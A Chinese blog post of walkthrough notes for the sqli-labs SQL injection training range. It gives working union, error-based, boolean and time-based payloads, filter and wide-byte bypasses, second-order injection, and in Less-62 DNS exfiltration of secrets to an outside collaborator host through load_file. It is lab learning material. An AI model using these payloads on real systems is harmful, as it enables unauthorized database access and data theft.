Loading

sql-labs 练习笔记

简介

这个节不涉及过多原理,而主要是靶场练习,想获得更多原理请见上篇博客。

基础知识

如何闭合括号

如果有报错则直接利用报错信息进行,否则尝试常见的闭合形式,简单的可以直接使用 bool 探测,而困难一点的可以尝试 sleep、dnslog 探测。

其次 注意 检测时 or 和 and 的差别,当主查询结果不一致时,这两个就有区别了

探测是否为数字型注入

?id=3-1 ? id=2 若两者结果一致,则为数字型,否则为字符型。注意!不是绝对的。

报错注入:
  1. extractvalue updatexml xml 解析函数报错

    image-20201210190313540

    原理是 xpath_expr 必须满足相应格式、否则会报 xpath_expr 错误。

    extractvalue(1,concat(0x7e,(select @@version),0x7e)) //最多报错32 个字符

    updatexml(1,concat(0x7e,(select @@version),0x7e),1)

    linestring(‘’); //差不多快能报错200多个字符

  2. select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

    利用列名不能重复的特性

    image-20201210191438261

延时注入:

必须包含条件判断,可以使用 if 或者具有短路属性的运算符。

if(condition,truething,falsething) 
select if((select group_concat(id),username from users),sleep(10),'x');

耗时函数也可以这样 BENCHMARK(1000000,MD5(1))

堆叠注入

相关函数:

mysqli_multi_query

mysqli_store_result

mysqli_fetch_row

mysqli_more_results

防御

转义相关的函数:

  • addslashes stripslashes

    添加转义符,去掉转义符。值得注意的是,stripslashes 去掉转义符为非递归形式。

    尝试对 addslashes 绕过,数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。

  • mysql_real_escape_string()

    可以尝试宽字节绕过

    https://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string

  • 过滤注释 preg_replace

    空格过滤绕过

    %09 TAB 键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return 功能
    %0b TAB 键(垂直)
    //%a0 空格
    

    and or 过滤绕过

    aandnd
    && ||
    

注入笔记

  1. less-1:由id 得用户信息,是select 型

    http://localhost/sqli-labs/Less-1/?id=1 and 1=1
    http://localhost/sqli-labs/Less-1/?id=1 and 1=2
    //	尝试整型注入,发现页面也没什么更改,尝试字符型,先乱搞一通看看是否会报错。
    
    http://localhost/sqli-labs/Less-1/?id=1'") and 1=1 --+
    //	由报错信息 '") and 1=1 -- ' LIMIT 0,1' 可知用'闭合,此处 # 注释不生效,使用 --+ 注释。 
    
    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
    http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3 limit 1,1--+
    //将原版查询数据用 id=-1 置空,或者也可以采用后面添加 limit 1,1 的形式,使我们的union select 正确显示数据到页面
    //用union select 不断尝试猜列数(也可以先用order by 猜测列数),并检测哪些会显示。
    
    Over!!,接下来调取信息就行
    
    //第6行都显示报错信息了,所以可以进一步尝试报错注入。
    
    http://localhost/sqli-labs/Less-1/?id=1' and 1=1 --+
    http://localhost/sqli-labs/Less-1/?id=1' and 1=2 --+
    //用正确的闭合形式发现显示内容不一样,可知存在bool 注入,布尔注入一旦存在,那么sleep注入一般也存在
    

    less-2、less-3、less-4 都是相似的,唯一不同就是闭合形式不同,由于都会显示报错信息,所以很容易得知正确闭合形式。同样的,报错、bool、sleep基本都可以。

  2. less-5:

    //进行和1-4 同样的套路尝试后,发现是' 闭合。
    //正常访问,不显示用户名和密码,所以不能像之前一样使用union select 将信息导入到屏幕。
    
    //尝试乱输入命令,发现会报错
    http://localhost/sqli-labs/Less-5/?id=1' and or--+
    
    //所以使用报错注入,bool 注入 ,延时注入 获取信息
    

    less-6 相似,只不过是 “ 形式的闭合

  3. less-7:

    http://localhost/sqli-labs/Less-7/?id=1
    http://localhost/sqli-labs/Less-7/?id=-1
    //发现查询失败也会报SQL 语法错误,而不是详细具体的错误信息,所以无法使用报错注入。但注意到查找成功与否与页面显示相关,所以可以使用bool 注入
    //成功将会显示You are in.... Use outfile......
    //失败将会显示You have an error in your SQL syntax
    //根据这个思想利用burp intruder构造出常见的闭合形式,然后得知正确闭合形式为')) 
    
    //到这一步,可以使用bool 注入,进一步sleep 注入也可
    
    //想办法得到网站的路径,然后 into outfile 将查询结果写入到网站目录下的文件中,再通过浏览器访问这个文件。
    //不过网站路径挺难获得的
    //可以进一步使用load data infile 命令来将数据创入表中,然后再读取这个表的信息。
    

    less-8 和less-7类似 不过是 ‘ 形式闭合。所以采用bool 和 sleep 注入都可。

  4. less-9

    //查看源码后,发现查询正确与否,执行的echo 语句不一样,也就是响应的大小不同,所以可以使用bool 注入。
    

    less-10 和 less-9 类似,只不过是“ 闭合形式

  5. less-11

     //发现正常登录,所以尝试以下显示信息。
     uname=qwe' union select 1,2 -- #&passwd=zxc&submit=Submit
     
     //尝试and 1=1 和 and 1=2 时,页面不同,所以 bool 注入也可,所以sleep 注入也很有可能。
     //发现会报错,所以报错注入也可。
    
    less-12 类似,不过可以用“)常见注入方式判断 ,结合 and 1=1  and 1=2  可知正确闭合形式
    
  6. less-13

     bool 盲注就行
    

    less-14 一样,不过闭合形式变了。

  7. less-15

    bool 盲注 或 延时盲注
    

    less-16 一样

  8. less-17

    对name 进行注入,失败,看了一下源代码,发现对name 进行转义,而且使用的是mysql_real_escape_string, 基本没有绕过的希望了,再看下代码逻辑,对password 并没有转义,并且仔细看看代码逻辑,发现必须要填写正确 username 才有可能进行 password 注入。

    得到 username 后 ,对 password 进行报错注入。

  9. less-18

    不会,直接看下代码逻辑,发现 name 和 passwd 都被过滤处理,不过有显示报错语句,摆在我们面前有两条选择,要么操纵 name 或 passwd 使得数据库报错,要么输入正确的 name 和 passwd 使得 即将的 insert 语句报错。仔细想想,发现前者可能比较困难,所以尝试后者,$_SERVER['REMOTE_ADDR'] 没有伪造的可能,而 $_SERVER['HTTP_USER_AGENT'] 可以通过http 头部进行伪造

    INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
    奇妙的是,在mysql 中执行注入和在 burp 中执行下面的语句结果不同。
    ' and extractvalue(1,concat('~',version())),'sdf','sdf');-- '
    
    原因找到,是因为在 agents 那块不能用url 编码
    

    less-19 一样,不过是 referer 头部注入

  10. less-20

    看下代码逻辑,当没有设置 cookie 时,会对输入的 name 和 passwd 都检查,虽然之后有 print mysql_error 语句,但是还是很难触发错误。

    再看下设置 cookie 的代码逻辑,发现这块是注入点。

    less-21 与此相同,但闭合方式 为 ‘) 并且被编码过了。

    less-22 双引号闭合而已。

  11. less-23

    对注释过滤仿佛绕不过,那就直接用 union select 。

  12. less-24

    进行新用户注册时的代码为

    //注册时的 sql 语句,前有引号过滤,难以攻破
    $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    //对应的mysql 的log
    insert into users ( username, password) values("dumb\'#", "123")
    
    //登陆时,前面有过滤,难以攻破
     $sql  = "SELECT * FROM users WHERE username='$username' and password='$password'";
    //对应的mysql 的log
    SELECT * FROM users WHERE username='dumb\'#' and password='123'
    
    //登录成功后修改密码时
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    //对应的mysql 的log
    UPDATE users SET PASSWORD='123456' where username='dumb'#' and password='123'
    

    代码的逻辑是在注册新用户时,dumb‘# 会被转义,然后传给数据库,数据库中存放的却是 dumb’# 。接下来是登录,在登陆时以 dumb\’# 输入到数据库,从数据库中提取出 dumb’# ,并在之后的逻辑传给修改密码模块中,这样的话,就向修改密码模块传入未经转义的数据。成功进行注入。

  13. less-25

    只进行 的 and or 大小写不敏感过滤,也没有进行转义。事实上,这块虽然存在过滤,但只是一次过滤,意味着可以这样绕过 aandnd

    所以直接使用非转义即可 union select 即可

    less-25a 类似的

  14. less-26

    1'%a0aandnd%a01' 不需要用到注释

    -1'||extractvalue(1,concat(0x7e,(select(@@version)),0x7e))||'1

    对空格进行过滤

    less-26a 一样,是相似的

  15. less-27

    id=a'uunionnion%0BSeLecT%0B1,2,'3 直接可以提取数据。

    并且可以用报错

    less-27a “ 闭合 ,而且无错误报错

  16. less-28

    1')&&(left(version(),1)='3')&&('1

    less-28a 类似

  17. less-29

    应该是这个连接 http://192.168.200.1/sqli-labs/Less-29/login.php

    看下代码逻辑,java_implimentation 提取id 参数,然后交给 whitelist 过滤。而sql 注入中的参数却是直接获取的参数

    whitelist 看不出漏洞点,而 前面那个函数中 有这样一句,$id_value = substr($value, 3, 30); 所以理论上可以利用截断尝试以下。

    此外,因为 whitelist 会检测失败时重定向,所以burp 阻止重定向请求即可看到原文。所以也可以这步时进行报错注入。

    123456789012345678901234567890' union select 1,version(),'3

    less-30 less-31套路一样,不过是闭合方式不同

  18. less-32

    a%df%27union%20select%201%2cversion()%2c%df%273
    会报错,
    a%df%27union%20select%201%2cversion()%2c3--%20
    就成功,究其原因,%df%5c 代表的汉字在" " 内可以,而在引号外就为无法识别的命令。
    所以,如果想要尝试第二种,那么也意味着在 'xx' 想要这样正确闭合而不是使用注释,那么这样是行不通的,会陷入无穷宽字节注入以逃脱引号的困境中。
    如果尝试第二种即 '' 为空的话,也不行,也就是说 %df' 这个顺序决定了只能在里面。
    

    less-33 同理 less-34 提交形式发生改变而已。

  19. less-35

    直接bool 注入 ?id=3 and 1 报错也可

    less-36 less-37 都是类似的都是宽字节

  20. less-38

    less-39 堆叠注入,不过没有字符闭合,

    less-40 闭合方式换了以下

    less-41 堆叠直接注,不过不会显示结果,所以也可以不用堆叠,直接盲注。

  21. less-42

    比起二次注入那块,这块无法创建新用户,所以无法二次注入。

    尝试别的:1. 报错注入

    ddd' and extractvalue(1,concat('~',version()))-- 
    

    less-43 less-44相似,闭合形式发生改变。

    值得注意的是,当登录成功后修改密码时,username 是从cookie 中获取,而cookie 中的 username 是从登录成功后数据库返回的。而这块关闭注册通道,没有办法利用二次注入先注入有害数据。

    less-45 ‘) 闭合后进行盲注,特点是是否会进行重定向

  22. less-46

    此处是id 按照排序,所以完全可以利用一些手段进行 bool 注入。例如,跟列名关联起来

    SELECT * FROM users ORDER BY (id=(version() like '5%'));

    SELECT * FROM users ORDER BY (id=(version() like '1%'));

    less-47 多了一个‘ 闭合

    less-48 无法使用报错注入

    less-49 bool 盲注

  23. less-50

    正常而堆叠注入,或者报错注入都可。

    less-51 多了一个闭合。

    less-52 less-53 基本是 50 - 51 的复现,少了个 报错,其它几乎没变。

  24. less-54

    从题目的信息可知,库名为 challenges ,表名、列名、和数据都是随机的。表和数据猜测应该只有一个。

    id=3-2 //发现获取的是3号的账户,所以字符型注入。先按简单的对待(没有过滤之类),花几次机会试出闭合方式。
    id=3' and 1-- #
    id=3' and 0-- #
    //运气较好,稍微尝试,接下来就 union 显示数据。我这块为了省次数稍微精简了一下
    id=a' union select 1,(select concat(group_concat(column_name),'~~',table_name) from information_schema.columns where table_schema='challenges' and table_name=(select table_name from information_schema.tables where table_schema='challenges')),3-- #
    //利用的就是下面通用的方法以查询表的列名。
    //select concat(group_concat(column_name),'~~',table_name) from information_schema.columns where table_schema='challenges' and table_name=(select table_name from information_schema.tables where table_schema='challenges');
    //select concat(group_concat(column_name),'~',t1.table_name) from information_schema.columns t1,information_schema.tables t2 where t1.table_schema='challenges'&&t2.table_schema=t1.table_schema;
    //select table_name from information_schema.tables where table_schema='challenges';
    //select group_concat(column_name) from information_schema.columns where table_name='';
    //select secret_3gdz from challenges.agjdc0392v;
    //也可以精简到一行完成,
    //接下来只需要读出数据即可
    id=a' union select 1,group_concat(id,sessid,'~',secret_3GDZ,'~',tryy),3 from challenges.agjdc0392v-- #
    
    less-55
    id=3-2 //出来却是用户一的信息,说明是整数型,但直接进行 union select 失败,推测有括号闭合
    //试了一试,发现果真存在)
    后面的调数据的操作和 1 没什么区别,就省略了~
    
    less-57
    基本换汤不换药,闭合方式改为"
    
    less-56
    id=3-1 //检测后是字符型,尝试闭合,经过几次尝试后发现是 ')
    
  25. less-58

    id=3-1 //发现不是预期的值,再 id=3-2 试试,发现为字符型注入
    //试了下错误,发现会报错,并且闭合方式为 '
    //但感觉不受参数id 控制。。
    尝试报错注入,发现成功 常用的extractvalue 只能提取的数据不完整,尝试其它报错方式
    //linestring 也因为字符数不够多
    
    实际上这关只有5次尝试机会,所以我重置了几次,最后才成功报错获取数据。
    
    
    1'&&extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='challenges')))&&'1
    

    less-59 变为数字型

    less-60 闭合方式 “)

    less-61 ‘))

  26. less-62

    有了前两个系列的 挑战,这块花不了几次就能猜出闭合方式,’

    虽然标题上说是 盲注,但是利用bool 盲注工作量有点大,先试试常见的union select 可行否

    union select 不可行,不知道是什么原因,过滤注释、过滤union、过滤空格等。先行放弃尝试,研究一下bool 注入。

    大概估算一下次数,大小写字母加上数字 62个,也就是说一个字符最多猜 6次,平均5次假设表名 10 个字符,列名4个 字符,密钥 20 个字符,那么它给定的次数比较危险。

    总结一下现在的思路,bool 注入,尝试猜出过滤形式,尝试使用 dns 注入。

    1'&&if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='challenges'),'.q0rb3sebcl6gsnugf8ctoyeba2gs4h.burpcollaborator.net\\accc'))),0,1)&&'1
    
    1'&&if((select load_file(concat('\\\\',mid((select column_name from information_schema.columns where table_name='44wkr0s3fn' limit 2,1),8,4),'.q0rb3sebcl6gsnugf8ctoyeba2gs4h.burpcollaborator.net\\accc'))),0,1)&&'1
    //注意这个 , dns 注入时路径必须满足某种形式,这块用mid 裁剪
    
    1'&&if((select load_file(concat('\\\\',(select secret_GAJ7 from challenges.44wkr0s3fn),'.q0rb3sebcl6gsnugf8ctoyeba2gs4h.burpcollaborator.net\\accc'))),0,1)&&'1
    

    做完后看一下源码,果然用户名和密码不是库里的

    less-63 ‘ 闭合 less-64 好家伙,居然有两个 ) 不过没关系,我们 上面的方法不注释括号,只进行bool 逻辑,所以没关系。

    less -65 闭合 双引号,注意的是,我们这种 bool 判断的优点就是不用闭合括号,但引号还是需要闭合。

无了,完结,恭喜~~!!

posted @ 2021-03-10 15:20  沉云  阅读(145)  评论(0编辑  收藏  举报